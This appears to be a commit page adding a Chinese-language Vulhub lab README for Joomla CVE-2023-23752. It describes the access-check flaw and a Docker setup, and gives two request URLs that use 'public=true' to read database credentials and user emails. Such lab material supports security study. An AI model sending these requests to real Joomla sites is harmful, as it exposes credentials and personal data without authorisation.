first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1,45 @@
# Joomla权限绕过漏洞CVE-2023-23752
Joomla是一个开源免费的内容管理系统CMS基于PHP开发。
在其4.0.0版本到4.2.7版本中存在一处属性覆盖漏洞导致攻击者可以通过恶意请求绕过权限检查访问任意Rest API。
参考链接:
- <https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html>
- <https://xz.aliyun.com/t/12175>
- <https://vulncheck.com/blog/joomla-for-rce>
## 漏洞环境
执行如下命令启动一个Joomla 4.2.7
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8080`即可查看到Joomla页面。
## 漏洞复现
这个漏洞是由于错误的属性覆盖导致的攻击者可以通过在访问Rest API时传入参数`public=true`来绕过权限校验。
比如,访问下面这个链接即可读取所有配置项,包括数据库连接用户名和密码:
```
http://your-ip:8080/api/index.php/v1/config/application?public=true
```
![](1.png)
如果不添加`public=true`,则访问会被拒绝:
![](2.png)
访问下面这个链接即可读取所有用户信息,包含邮箱等:
```
http://your-ip:8080/api/index.php/v1/users?public=true
```
![](3.png)